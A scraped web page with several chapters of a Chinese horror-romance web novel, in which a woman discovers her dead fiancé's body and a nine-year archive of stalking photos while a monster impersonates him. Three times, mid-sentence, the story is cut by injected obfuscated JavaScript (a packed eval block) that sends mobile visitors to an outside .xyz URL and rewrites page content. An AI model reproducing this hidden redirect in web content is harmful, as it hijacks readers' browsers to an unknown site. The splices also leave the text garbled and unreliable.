道长直起身,将扫帚一搁,指指旁边的石椅,“不急,坐下慢慢说。” 楚黎没有保留,将坠海失明以及近来所有古怪的事情和盘托出。 “道长,我男朋友是不是被鬼上身了?” 道长法号明微,越听眉头就皱得越紧,听完后抛了三枚铜钱起卦。 “奇怪……”明微拨弄铜钱,“这卦象似是而非。但听你所说,应该是上身无疑,还是很凶的东西。” 楚黎将一张卡推出,诚恳道:“求道长帮忙,这里有一百万,如果不够您只管开口。” 钱算什么,她只希望妖魔鬼怪赶紧消失,生活重归平静。 明微却是摇头,他不接,耐心解释道:“这事讲究一个缘,你既然来了这,说明你我有缘,自然要帮你。按理说人不会平白无故沾上这些,凡事都讲因果,你会遇到这么凶的,一定事出有因。” 然后他又要了楚黎的出生日期,精确到时分,再细细看了她的手相面相。 “怪事。”明微再次皱眉,“光看八字,是没有问题的。难道是有人为你改过了?” 她茫然摇头,视线落在手腕红绳上,“我不知道,家里人从小就不让我往外说八字。这枚铜钱也是家里人让戴的,它有问题吗?” 铜钱看起来很普通,外圆内方,色泽老旧。 明微表情复杂:“其实,你手上戴的不是铜钱,具体是什么我看不出来,它能遮眼。总之是很阴邪的东西。” 八月的盛暑天,楚黎在树荫下出了一身冷汗。 天底下哪有落海后还能失而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586281|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复得的东西。 这是那只鬼给她的,不是她原本的铜钱。 她当即就要扒下来,那圈细细的红绳如跗骨之蛆,牢牢锁在白皙手腕上,怎么都挣不脱。 楚黎眼圈泛红,声音艰涩:“那……戴在身上是不是会……” 明微给她倒了杯热茶,安抚道:“只要把那东西请走,它自然能解开。” “只是你惹上的这个太邪太凶,我没有十分把握能对付。况且他占着你男友的身躯,我贸然出面怕会让事情更坏。” “你先试试这个办法,如果不行,再回来找我。” * 下午三点,烈日当空。 楚黎行走在寂静的别墅里,按着明微道长教的,先寻找到一个封闭不见光的小房间。 这栋别墅是霍修私人购置的,有负一层车库,地上三层,三楼是放杂物的阁楼。 她找了一圈,也没找到符合要求的房间。 负一层倒是不见光,但太大太空旷。 只有一楼书房拉上窗帘后,勉勉强强符合。客厅的挂钟已经走到三点半,楚黎没时间再挑剔,将窗帘严实封好,开始掏出明微道长给的东西,一件件摆放。 “东南方向……”她打开手机指南针,将一尊小小的玉神像摆进木书柜。 书柜占据了大半面墙,摆满了生物科学类书籍,以及大小奖项。 楚黎无意间按到了书柜的某处,整面书柜从中分开,缓缓滑向两边,露出一扇没上锁的门。 “……?” 小门背后,是一段并不长的,延伸向下的台阶。 楚黎很快反应过来,这是地下室。 有什么比地下室更符合“封闭不见光且狭小”这个标准呢。 她立刻收起了已经摆好的东西,谨慎踏入台阶。 淡淡的、地下室特有的阴冷气息扑面而来,里面还夹杂着一点消毒水气味。 两侧的感应灯接连亮起,脚步声不断回荡叠加。 入目都是白色。 天花板地面都是雪白,三面墙体都嵌了展柜。形态各异的标本琳琅满目,每一件都仿佛还存活着。 有一面展柜,装的却不是标本。 是文件袋,每一格里面都放着一只厚厚的文件袋。 地下室中央是冷色调的标本处理台。 上面静静躺着一个人。 楚黎的瞳孔一缩,身躯猛地一颤,手里的东西哗啦落下,装满朱砂的小罐滚落,染红了雪白的地面。 暗红的色泽,就像标本处理台上那人的后脑勺。那里如同被撞击过,坚硬的头骨都塌陷粉碎了一块,暗红的颜色凝固在那。 刹那间,噩梦的场景与现实重叠。 楚黎不知道自己站了多久,恍惚拖着虚软的腿,一步一步挪过去。 日夜相处的、熟悉的面容。 他双目闭合,嘴唇颜色暗淡,肤色青白。 “霍修……” 这里躺着她的男友,她的未婚夫。 霍修已经死去,死去的人怎么会被鬼上身?那最近日夜相处的另一个人,又是谁? “咔哒。” 大门开启的声音远远传来。 他回来了。 9. 第九章 楚黎如梦初醒。 大颗眼泪争先恐后往外涌,她顾不上擦,踉跄跑到地下室门口,按下小门旁的开关。 书柜静悄悄合上,她颤抖着手把小门关上,反锁。 “呼呼……” 她背靠冰冷门板,无论怎么用力呼吸,都像缺氧般头晕目眩,仿佛有一千只蝴蝶在脑海里狂乱飞舞。 这段时间与她亲密无间同床共枕的不是被鬼上身的霍修。 是一只怪物。 “没事的,没事…冷静……”楚黎喃喃自语。 对,还有明微道长给的东西。 地下室拥有良好的通风系统,冷风吹到身上,被冷汗浸透的长裙贴着肌肤,又冷又黏,让楚黎忍不住哆嗦了一下,勉强恢复理智。 她放空大脑,忽略标本台上的尸体,强迫自己只回想明微教的方法,将东西摆放在合适的位置。 再摇晃装了朱砂的小罐,沿着房间的墙边撒过去。 一切就绪,还需要一簇火。 袋子里装满了明微道长给的东西,临走前他特意叮嘱,准备妥当后在正中堆放易燃物,要用符纸点燃。 楚黎的视线在地下室内飞快扫视,定在其中一面墙柜上,格子里装的都是档案袋。 放在地下室,又用档案袋密封,想必是霍修很重要的东西。 但眼下也顾不上隐私了。 玻璃柜门没上锁,她无声念了两句对不起,拿出几个档案袋迅速拆开往下倒。 纷纷扬扬的照片似雪花纷飞。 其中一张从楚黎眼前飘过,她下意识接住。照片边缘泛黄,画面不太清晰,但她还是一眼认出了地点—— 卧室,她在楚家别墅的卧室。 穿着碎花睡衣的少女趴在床上,白皙的腿翘起,正在看书。 本是很宁静美好的画面,看得楚黎背脊发凉。 照片左上角有一行数字,2012.09.14。 这是一张九年前秋季的照片,那时她刚升入初中。从画质和那行时间看,像监控视频的截图。 楚黎攥着照片一角,盯了半晌,反应过来这是从床尾的书柜方向拍摄的。 那时的书柜放了很多杂书、漂亮摆件,以及霍修出国前送的白鸟标本。 照片沉默地从指缝飘落,躺在满地花花绿绿的照片里。 每一张,都是她。 不同时间、不同地点、不同年龄的她。 有监控拍摄到的,也有她各种社交平台发布的,还有她未察觉的第三人视角。 霍修出国后,有人在持续不断地监视、拍摄她,再将这些照片给他。 拍摄的人,与她关系非常亲密。 楚黎忽然就忘了身后标本台上的尸体,也忘了已经回到别墅的怪物。印象中的孤僻少年以及温和青年的形象在她脑海里不断坍塌。 她木着脸取出每一只档案袋,解开,倒在地上。 档案袋封面都写着日期,从2012.09-2021.06,以月份区分,九年,一共107个档案袋。 记录了她从初一到大三的九年。 记录终止于上个月,因为他们去海岛旅行,客轮意外侧翻遇难。 监视者死亡,记录终止。 楚黎解开了最后一个档案袋,它是第108只,没有写日期,里面是一叠厚厚的信。 “你穿白色连衣裙的样子很漂亮,但我不喜欢坐在你旁边的男生。眼睛说他是你新交的朋友,你不需要异性朋友,有我就够了。” ——落款2013年5月14号。 楚黎想起初二时,那个匆匆转来,与她成为同桌一周后又匆匆转去其他班级的转校生。 “你已经很久没有向眼睛主动提起过我。是快忘记我了吗? 我最近时常想起那年夏天,如果你死在千岛湖多好。标本之所以美丽,是因为永远停留在最美好的时刻。我希望你也能停留在永远记得我的时刻。” ——落款2017年8月3号。 “我回来了,黎黎。” ——落款2019年7月15号。 或雪白或泛黄的信纸落在照片堆上。 楚黎没有全部看完,信件很多,她只是随机拆了一些,但也足够拼凑出真实的霍修。 这些年许多的疑惑终于有了答案。 她曾经总是觉得有人在暗中观察,她交的朋友也总会因为各种各样的缘由走向疏远。 原来都不是她的问题啊。 “咚咚。” 敲门声毫无征兆响起,来人敲得缓慢,轻叩两声就停止。 “黎黎,你在里面吗?” 门外的人语调温和地询问。 楚黎木然盯着不远处的冰冷的尸体,喉咙挤出一声呜咽。 救命…… 谁能救救我…… 她徒劳地张着嘴,像濒死的鸟雀,发不出声音,心被满地的照片与信封搅得鲜血淋漓。 身体开始自发动起来。 楚黎的灵魂仿佛离体,她看着自己面无表情扫开了满地照片,清理出一块空地,然后将所有的信堆起,抽出明微道长给的符纸,用打火机点燃,扔到了信封堆上。 跳跃的火苗瞬间升高。 火苗噼里啪啦舔舐纸张,雪白的纸以及黑色字迹迅速扭曲,化成火焰。 门外的人像是没了耐心,反锁的小门轰然倒地。 “滋啦——” 灯光因电流不稳定开始频繁闪烁。 楚黎站在忽明忽暗的灯光里,身前是一簇跳跃燃烧的火堆,映着她苍白没有血色的脸。 小门外漆黑一片。 是天黑了吗? 看见潮水般蠕动的黑雾爬入地下室,楚黎才恍惚着反应过来,不是天黑了。 他从阴影走出,一级一级走下台阶,在火堆前停步。 他表情温和,眼瞳黑沉沉,像只露出破绽还在拙劣模仿的怪物。 “抱歉黎黎,是我忘记处理干净,吓到你了。” 游动的黑影缠绕着尸体,标本台瞬间干干净净。 火堆越燃越烈,没有风却在狂乱摇动,明灭的光映着他的脸。 楚黎恍然惊觉,这张脸,其实和霍修一点都不像。 为什么,她到现在才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586282|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现呢? 楚黎张了张嘴,声音艰涩:“你到底……是什么?” 他垂眼望来,左眼皮上的一点红痣像是血珠,向前迈了一步,语气温和:“黎黎,你饿了吗?今晚吃小炒牛肉怎么样?” 她尖叫:“你到底是谁!!” 他轻轻叹了一口气,继续向前一步:“我是霍修啊。” 火堆几乎燃到与楚黎胸口齐平。 她眼睁睁看着他若无其事穿过火焰,朝她伸手,并说:“这里空气不好,先出去,好吗?” 楚黎的理智像吹到极致的气球,“砰”一声炸开了。 “滚开!” 霍修的脸偏向一侧,金丝边眼镜飞出撞在墙上,变成了两截。 失去眼镜的遮掩,那双狭长幽深的眼睛好似漩涡。 他缓缓转过头,凝视着楚黎,再次逼近一步。 楚黎下意识后退,后腰撞上标本台,失去的理智勉强回归,难以言说的恐惧密不透风让她呼吸都变得困难。 看着朝她伸来的手。 楚黎意识到,自己可能要死了。 那只手扣住她的手腕抬起,用冰冷的手背贴上扇完耳光后发麻滚烫的掌心。 “对不起,疼吗?” 他在说什么? 楚黎几乎以为自己疯了,一切都是发病之后的臆想。 不然,一只怪物为什么会在她扇完耳光后,还问疼不疼。 这个场景太匪夷所思,冲淡了浓烈的恐惧感,她用力抽回手,抓起地上的塑料袋狂奔出地下室。 “黎黎?”霍修感到疑惑,跟着她向外走,然后停在了最后一级阶梯上。 朱砂像流动的红光,拦住了他的去路。 楚黎摸出明微道长给的贡香,因为手抖得厉害,用打火机点了三次才把三炷香点燃。 书房外的天已经黑透,唯一的光源是地下室燃烧的火堆。 霍修逆光站着,面容浸在黑暗里。 楚黎手持三炷香,怀着无尽希冀开口:“超度孤魂,解脱苦难,归去,归去。” 随后闭眼躬身一拜。 四周静悄悄,她一点点直起身,睁开眼睛—— 修长身影静静立在原地,她手中的三炷香拦腰断了,变成了三支断香。 为什么? 楚黎的脑袋嗡嗡作响。 她又拿出三炷香,再一次点燃,继续念咒下拜。 在楚黎试到第三次时,静立的身影忽然动了。 他像是撕裂某种界限,从容踏出最后一级阶梯,地下室火堆熄灭,整栋别墅陷入黑暗。 “元宝,开灯。” 灯光驱逐了黑暗。 霍修看了眼满地断香,选择了告诉她答案:“黎黎,我不是鬼,这种方法对我没用。” 楚黎全身的力气被抽干,不想思考他到底是什么,只希望对方给个痛快。 “你到底想做什么?” 他走到书桌旁抽了两张纸,又走到她面前,耐心细致擦掉她脸上的泪痕,又顺带整理了凌乱濡湿的长发。 最后,牵起她的手朝外走,并说:“给你做饭。” 10. 第十章 如果能遗忘地下室里发生的一切,今晚和平时没什么不同。 霍修做了两菜一汤,在餐桌上时不时聊起今天公司发生的事,不过只有他在说,楚黎木着脸坐在那,面前的饭一口不动。 “怎么不吃?是菜不合口味吗?” 听见这话,楚黎有点想笑。 谁在看完尸体、对面坐着一个未知物种的情况下,还会有胃口吃饭? 楚黎抬眼打量他。 从地下室出来后,他又换回了霍修的外表,此刻微微皱着眉,鼻梁上架着新的金丝边眼镜,表情温和关切。 真是扮演得天衣无缝。 可越是这样,楚黎的神经越紧绷。不清楚对方的意图,头顶像悬了一把剑,不知什么时候会落下。 焦躁不安的恐惧让她几乎喘不上气。 楚黎强迫自己冷静。他还在演,说明暂时不想撕下伪装,无论是出于恶趣味或者是别的原因,她暂时安全。 所以,不能激怒他。 她哑着嗓子开口:“我今天很累,没有胃口。” 霍修的视线扫过她苍白脸颊,紧绷的后背,始终垂下的眼睛,忽然生出一种名为“焦躁”的情绪。 “等我一会。” 楚黎听见他起身进了厨房,不在同一空间相处,压力减轻了许多。她稍微放松,全身的肌肉因为过度紧张很酸痛。 餐桌上的菜颜色鲜亮,还在冒着热气。 她盯着三道爱吃的菜出神。 霍修死了,和噩梦里的情景一模一样。 所以,那个梦是他在托梦吗?他其实希望她和他一起死。 楚黎环视这栋别墅,华丽、空旷、寂静。她点开社交软件,置顶只有三条,霍修、辛桐以及“幸福一家”的群聊。 群聊最新一条消息还在上个月。 辛桐在一个小时前给她发过消息,分享吃的晚饭照片。 桐桐大小姐:[照片] 桐桐大小姐:这家泰国菜很地道,改天带你去试试! 辛桐是摄影专业,哪怕是随手一拍,照片也很吸引人。 楚黎点开看了好一会,举起手机拍了一张餐桌上的饭菜给她发过去,并打字“好呀^_^”。 她退出社交软件,打开最近拨号记录,点开备注“妈妈”的号码,手指悬停在拨出键上很久,最终蜷起收回。 屏幕变成了模糊的色块,楚黎面无表情抹了一把脸。 活下去,她必须要活着。 脚步声从厨房走出,在她身旁停下,霍修端着一碗粥坐在她旁边。 粥热气腾腾,在蛋花丝和零星葱花点缀下看起来清淡可口。 楚黎一怔,以前生病没胃口的时候,爸妈就会给她煮鸡蛋粥,后来霍修也学会了做法,也经常做给她吃。 俊美温和的青年舀了一勺粥,启唇吹到温度适合入口,再递到她唇边。 这一幕和记忆里很多场景重叠。 楚黎眨了眨眼,水光掉进粥里,她默不作声吃掉了这口略咸的粥。 然后她拿过霍修手里的碗勺,将鸡蛋粥一口气喝完。 “我要休息了。” 楚黎努力控制自己,才没逃命一般跑回二楼房间。她反锁了房间门,快速洗漱完毕,留了一盏夜灯躲进被窝里。 被子成了绝对安全的保护罩。 她打开手机,点开短信界面,开始给新添加的号码发送短信。 “明微道长,我是楚黎……” 三言两语概括了今天的惊悚经历后,她点下发送键,开始屏气凝神等待回复。现在是九点,道长应该还没睡。 楚黎如抓救命稻草盯着手机,迫切希望明微能给出新的解决方案。 一分钟、五分钟、半小时…… 短信页面迟迟没有回应。 等了太久,楚黎闷得喘不上气,把被子开了一道小小缝隙,透了点新鲜空气进来。 她热得出了一身薄汗,掌心险些握不住手机。 卧室安静极了,只有一道呼吸声,整个世界像被黑暗笼罩,除了手机屏幕见不到一点光。 不对,她不是留了一盏夜灯吗? 缝隙外黑漆漆,像能吞噬一切的怪物。 一滴冷汗爬过脸颊,又刺又痒。楚黎不知道是她记错了,并没有留夜灯,还是“霍修”就在外面。 失明时的窥伺视线再次出现了。 他在看她。 贴在那道缝隙前,不知道看了多久,是否看见了短信内容。 楚黎呼吸一窒,身体无法控制在颤抖。 肤色冷白的手指爬进缝隙,勾住蚕丝被,将它往上拉,直到她完全暴露出来。 床垫下陷,被子窸窸窣窣,他似乎察觉到了楚黎的恐惧,于是在黑暗中更靠近了一些。 两人的距离近得如同亲吻,她甚至能感受到对方冰冷的温度,胃因为恐惧开始抽搐,连往后退的力气都没有。 她想尖叫,想一拳挥出去,想逃离这个鬼地方。 但是不行。 面前的不是人,是未知的存在,随时可以要她的命。 大脑极度眩晕,楚黎鬼使神差开口,喃喃道:“霍、霍修……” 面前寂静无声。 过了很久,冰冷的手指轻柔擦去她渗出的眼泪与冷汗,“出了好多汗。” 他低叹道:“黎黎,我忽然不太喜欢这个名字了。” “啪”小夜灯自动打开,柔和光线照亮卧室一角。 楚黎看清了眼前的景象。 青年穿着银灰睡衣,一只腿压在床沿上,倾身为她擦拭冷汗与泪珠,身后触手般的影子狂乱扭动,铺满了天花板。 楚黎不合时宜想起了一丛丛的海葵。 他背对光源,面容完美无缺,但因为太过完美对称,反而有非人的怪异感。 左眼皮的红痣像一滴溅上的血,近乎邪性。 楚黎看着他,像在看光怪陆离的万花筒,看久了太阳穴突突跳,头痛欲裂,全身每一根神经都在叫嚣着逃跑。 那是一种来自灵魂深处的颤栗。 她意识到,他好像不打算玩扮演“霍修”的游戏了。 或许是她的短信激怒了对方。 “你……想杀了我?”楚黎艰难挤出声音。 手掌捧住她的半边脸,冰冷触感摩挲着脸颊,他叹了一口气:“我说过,永远不会伤害你。” 楚黎很想说,你现在就在伤害我。她脆弱的神经已经岌岌可危了。 死亡威胁让她的脑袋比任何时刻都快。 想起对方刚刚说“不太喜欢这个名字”,她吞咽唾沫,喉咙发紧:“我应该叫你什么?” 他微微笑起来,声音像来自古老遥远的夜空之外,是人类所无法理解的语言。 这串话语楚黎听不懂,只勉强理解了前两个音节。 觋、楚。 她的脑海里莫名跳出这两个字。 “觋楚?”她喃喃开口。 他脸上的笑意深了些,声音柔和:“是的,记住我的名字。” 如同看万花筒般头晕目眩的感觉消失了。 脸还是那种完美到诡异的脸,但感觉和刚刚完全不同了。硬要比喻,就像是庞然巨物忽然缩小到同等体型,一下子可以窥见全貌,处在同一空间了。 极度疲惫一下子涌上来。 “睡吧。” 觋楚揉了揉她的头发,和平时一样上床,又揽住楚黎,亲了亲柔软发丝,“晚安,黎黎。” 和一个非人怪物同床共枕,楚黎本该睡不着的,可实在太累了。 连那句晚安落到耳朵里都像隔了一层纱,模模糊糊就睡死过去。 * 接下来几天,楚黎完全没有独处的时间。 觋楚彻底不装了,无处不在跟着她。 明微道长一直没有回复,她不知道是怪物的手笔还是道长不想再搅进这件事。 楚黎越发摸不清楚,这只怪物想做什么。 他似乎热衷于照顾她,温和体贴有求必应,除了单独出门这种要求。 楚黎冷静麻木吃着去核的车厘子,思考如何才能单独出门,去一趟太清观。 每一颗都汁水饱满,紫红汁水沾在她的唇上,很快被觋楚的手指抹去,再被快速舔走。 看似温和的皮囊下面,似乎藏了恐怖的热切。 楚黎有想过他是不是喜欢吃人,因为他的眼神有时候给她一种,想将她吞下去的感觉。 此刻,他又用那种热切微妙的视线注视她。 视线与他温和的神情差距太大,整张脸看起来很割裂。 楚黎被盯得汗毛倒立,手里拿着一颗车厘子,犹豫着递过去:“……要吃吗?” 只要别吃人,一切好说。 觋楚俯身凑近,温热的唇舌包裹住指尖,就着她的手咬开车厘子,舌尖自下而上舔舐,卷走每一滴汁水。 楚黎头皮发麻地缩回手指,反 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两道目光交汇,楚黎心跳如擂,喉咙有点发干:“好啊,那明天……” 热茶放在桌面,“嗒”一声打断了谈话。 觋楚笑容温文:“我也很久没尝过泰国菜了,明天一起?我开车送你们。” “姐妹聚会,男人勿扰懂不懂啊。”辛桐满脸不高兴,“你们都快订婚了,到时候一出国,我什么时候才能见到黎宝,连吃个饭也要跟着?” 楚黎的手还被辛桐拉着,感受到她掌心有汗渗出,冷冰冰的。 听见这话,觋楚只是垂眼笑笑,没有回应,态度模棱两可。 辛桐没有停留太久,聊了一会留下槐花蜜就告别了。 接下来的时间,楚黎都在思考,怎么才能让觋楚放她单独出门。 一直到晚上洗澡,她也没想到合理的借口。 “……合作方要求面谈,明天下午两点在会议室,会后有晚宴……” 刚出浴室,就看见觋楚站在落地窗前,手机里传出林特助的声音。 他挂断电话,像是没听见内容一样,拉着楚黎坐在梳妆桌面前,开始为她吹头发。 吹风机嗡嗡响,手指穿过柔软发丝,细致梳理,扯得头皮有点发痒。 她不经意开口:“明天下午要开会吗?” 觋楚放下吹风机,用檀木梳梳理乌黑长发,神情专注,“嗯,不用管。” 根据最近的观察和推断,楚黎推测他无法同时出现在两个地方,试探开口:“你打算一直和我生活吗?” “黎黎,我当然会一直陪你生活。” 楚黎理解为,他暂时没有玩腻目前的养人类游戏,想继续玩。 “那对外交际,是以‘霍修’的身份?” 觋楚无意识皱了皱眉,过了一会才开口:“是的。” 楚黎清了清嗓子:“这个项目很重要,关系到公司是否能顺利迁至国外。如果得罪合作方,项目可能会黄,影响资金链。总之,你可能会破产。” 破产?他消化了一下这些词语,略带疑惑看楚黎。 “如果破产,你会养不起我。”她直截了当地说,“我爸妈也不会满意的。” 这句话使怪物陷入了沉默。 过了很久,他才开口:“我明天会去开会。黎黎,外面很危险,你和辛桐后天再出门,好吗?” 他说话从来都温和、有礼貌。 但楚黎很清楚,这只是象征性询问,因为他只有表情的温和的,目光完全不是。 阴暗、充满了黏稠的独占欲。 外面危险个屁,最危险的就是眼前这个。 楚黎盯着觋楚,心跳得几乎要跃出胸腔,连带着胃都阵阵发痛。然后拽住他的手,往下扯。 他如顺从的大型毛绒玩具,俯身靠近。 浅淡的香气似一团云飘来,柔软的触感短暂停留在侧脸,好似蝴蝶轻轻扇动翅膀,掀起转瞬即逝的风。 浓黑的瞳孔骤然一缩,卧室灯忽明忽暗,细长阴影在天花板上狂乱扭动。 觋楚下意识吞咽,喉结滚动几圈。 他看见楚黎仰起头,抿唇笑了笑,柔和灯光映在眼睛里,像一汪剔透琥珀。 “我想明天出门,可以吗?” 灯具“滋啦”一声,卧室陷入漆黑。 觋楚慢慢碰了一下侧脸,鬼使神差说:“好。” 11. 第十一章 下午两点。 黑色宾利驶入繁华商圈,车窗外热浪如潮,斑马线扭曲模糊,车内凉风徐徐。 后视镜倒映着后座的青年,一身矜贵考究的黑色西装,工作文件搭在交叠的腿上。金丝边眼镜架在鼻梁上,减轻了这幅面孔的非人感。 他一眨不眨盯着身旁的楚黎,她只留了半张侧脸给他,所有视线都凝聚在窗外,如同急于离开囚笼的鸟雀。 觋楚眸光微暗,忽然生出一种饥饿感。 不满足。 想占据她所有的视线、注意力、身体的每一寸,用他的触肢细细品尝,再完全包裹…… “霍总、楚小姐,到了。” 林特助靠边停车,下车为楚黎拉开车门,并递上一把遮阳伞。 车门外是人来人往的商业中心。 “谢谢。”楚黎一刻也没有停留,即刻弯腰踏出车门。 一只脚落地时,她的手腕一冷,被冰冷的手掌攥住。 鸡皮疙瘩从手臂一直爬到后背。楚黎呼吸停了几拍,维持着平静、带一点浅笑的表情回头,对上那双似深渊的眼睛,“怎么了?” 实际上,她已经极度紧绷,甚至做好了这只怪物会变卦的准备。 冰冷的手缓慢松开,觋楚目光沉沉,语气温和:“别玩太晚,对陌生人要有戒备心,早点回家。” 楚黎在小学三年级之后就没听过这种叮嘱,勉强扯出笑容点头,然后拎着包头也不回快步走远。 细腻温热的触感还留在掌心。 觋楚望着灵活游鱼一般消失在人潮里的背影,神情莫测难辨。 “去公司。”他说。 * 辛桐站在星巴克外,看见熟悉的身影打伞走来。 脸色苍白,步履飞快,仿佛身后有鬼在追。 “黎宝,你……” 话还没说完,楚黎攥住她的手,温度很凉,没有任何多余的话,声音像风一样轻:“太清观,去太清观。” 午后的阳光热得灼人,辛桐无端打了个冷颤。 穿过七拐八弯的青石板小巷,太清观陈旧的朱门沉默伫立。 楚黎的心漏跳几拍,上前用力拍门。 “砰砰”声回荡在小巷里,隔壁杂货铺的老板摇着把大蒲扇,探出头来。 “小妹,太清观这几天都没开门,观里的道长出门了,你敲门也没人开的。” 楚黎的手心又麻又烫,手指蜷起,怔怔问:“出门?” “是啊,好几天之前的事了,哦对了,我看你们眼熟,是不是来过啊?” 辛桐连忙道:“是来过,之前来着求平安。” 老板摸出老花镜戴上,恍然大悟:“我想起来了,你们一起来过一次,这个小妹前几天自己来过一次。道长就是在那天晚上走的,走得很匆忙,我问他去哪都没搭理呢。你们这样急着找道长,是遇上什么事了?” 辛桐:“黎宝,你自己来过?” 暑气蒸腾,巷子如逼仄的蒸笼,蝉鸣响个不停。 “水果棒冰,两元一根——” 吆喝声从隔壁巷子飘来,卷着一切乱七八糟的声音塞进楚黎耳朵里。 明微道长走了。 他解决不了这件事,才会走得这样匆忙。 或许是担心引火烧身,甚至没敢留个信给她。 视线轻微眩晕,楚黎晃了一下,扶住太清观大门,忍不住闭了闭眼。 “黎宝?你、你还好吧?好像有点中暑了,先去咖啡店坐一会。”辛桐扶住她,“市里还有好多大师,我陪你找!” 辛桐拽着怔怔出神的楚黎进了开在巷子里的清幽咖啡店。 店面不大,客人稀少。 店员端了两杯少冰的无咖饮品上桌,楚黎喝了几口,眩晕感才慢慢消退。 “好点了吗?”辛桐摸摸她的手,又摸了摸额头。 “桐桐,你和霍修私下一直有联系,对吧。” 声音不大,语气稀松平常,却让辛桐的手瞬间僵在原处,嘴唇张合,好半晌没说出半个字。 “你……知道了?” “嗯。”楚黎态度平静,“谢谢你最近一直明里暗里提醒我,也谢谢你昨天上门约我出来。霍修死了,这件事你不要再参与,回去吧。” 自从两人初中成为朋友以来,辛桐从没听过她用这样客气、泾渭分明的态度说话。 * 辛桐有一位远房堂姐,只有过年才会见上一面。 堂姐是有名的摄影师,常年在外,身上有一种辛桐非常向往的独特气质。 出于这种向往,她开始疯狂迷恋摄影,但父母是普通的职员,家里还有个小两岁的弟弟,无论什么她都只能得到一半或更少。 家里不可能支持她这种奢侈的兴趣爱好。 她能使用的只有一台爸爸淘汰下来的旧手机,开机卡顿,画质糊得像座机。 青春期的少女爱漂亮,爱攀比。特别是在有一位家境优越的同桌出现后,羡慕的情绪到达巅峰。 那是一个非常寻常的傍晚。 辛桐写完作业,用卡顿的手机尝试拍摄阳台的兰花。 一个陌生人添加了她的社交账号,对方开出了丰厚的酬金,对初中生来说,那简直是天文数字。 要求很古怪,与楚黎成为好友,购买一台相机,汇报她的日常。 一旦被发现,会停止给酬金。 辛桐半信半疑时,她收到了一封信,信里是厚厚的一叠红色钞票。 楚黎爱笑,和谁都能玩到一块。 作为同桌,辛桐很快和她熟络,也拥有了一台相机,以练习为由,经常会拍楚黎。 起初,只是因为少女时期的虚荣心,这股兴奋的劲过去后,她们已经成为了很好的朋友。 辛桐不愿意再背着朋友,把她的照片和行程分享给来历不明的人。 察觉到她的不情愿,对话框弹出一句话。 “我们的交易如果公之于众,你猜黎黎、还有你的父母、同学,会怎么看你?” 辛桐如坠冰窟。 这场交易一旦开始,叫停的权利就不在她这边了。 她只能加倍对楚黎好,试图消除内心的歉疚。 “好奇怪,为什么她们都不跟我玩了?” “桐桐,是不是我性格不太好,大家不喜欢我啊。” “桐桐……我总觉得有双眼睛在看我。” 辛桐听见这样的话,却不敢看楚黎茫然难过的表情。 她清楚,自己是唯一一个,允许成为楚黎朋友的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586284|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她是眼睛。 代替那个人,监视楚黎的眼睛。 所以,当收到楚黎的求助短信时,她以为是霍修忍不住露出了阴暗面。 按照交易,辛桐应该把这件事告诉霍修。 不忍心压过了怯懦,她选择了报警,拜托了在公安局任职的表姐帮忙,却没想到自己在半路会发生车祸。 在接下来的时间,对话框一直沉寂。 连她故意没有转发和楚黎的聊天记录,对方也没催促。 结合楚黎最近的情况,辛桐意识到—— 霍修换人了。 * 咖啡店播放着温情小调。 辛桐僵在原地,呆呆看了楚黎很久,过往的记忆像雪崩一样呼啸涌过。 记忆里那个明朗爱笑的少女,和现在容色苍白的女性像判若两人。 “对不起,我……”她张了张嘴,很想说自己只是刚开始被金钱冲昏脑子,后来一直都不愿意做这件事。 但她还是做了,这么多年她一直站在暗处沉默。 默许霍修控制她的人生。 辛桐深深低下头,咬牙咽下呜咽:“对不起。” “黎黎,我是真的、真的把你当朋友,我没有想伤害你。你让我帮忙吧,你想做什么,我都会帮你……”她用力握住楚黎的手,近乎语无伦次。 楚黎默默看她。 如果没有霍修横插一脚,她们会是没有隔阂的好友。 “还记得之前的车祸吗?”她缓慢坚定抽回手,“那是他给你的警告,不要掺和我的事了。” 楚黎很确定,辛桐今天约她出门,已经踩到那只怪物的底线。 再有一次,她或许会没命。 红绳穿过的铜钱在手腕上晃动,偶尔贴上肌肤,温度阴凉。 楚黎垂眼盯着手腕,声音很轻:“你帮不了我,走吧。” 咖啡店门上挂了枚铜铃。 辛桐失魂落魄推门离开,铃音叮当。 楚黎捧着慢慢变成常温的冷饮,无视店员频频投来好奇的视线,呆坐在原处。 一阵风掠过,穿着低调戴鸭舌帽的青年在对面落座。 “你好,楚小姐。”他稍稍抬起帽子,笑起来时露出一颗尖尖虎牙,“又见面了。” 楚黎皱眉回想了一会,才想起来这个有点眼熟的人是谁。 和辛桐第一次去太清观时,撞到她的那个人。 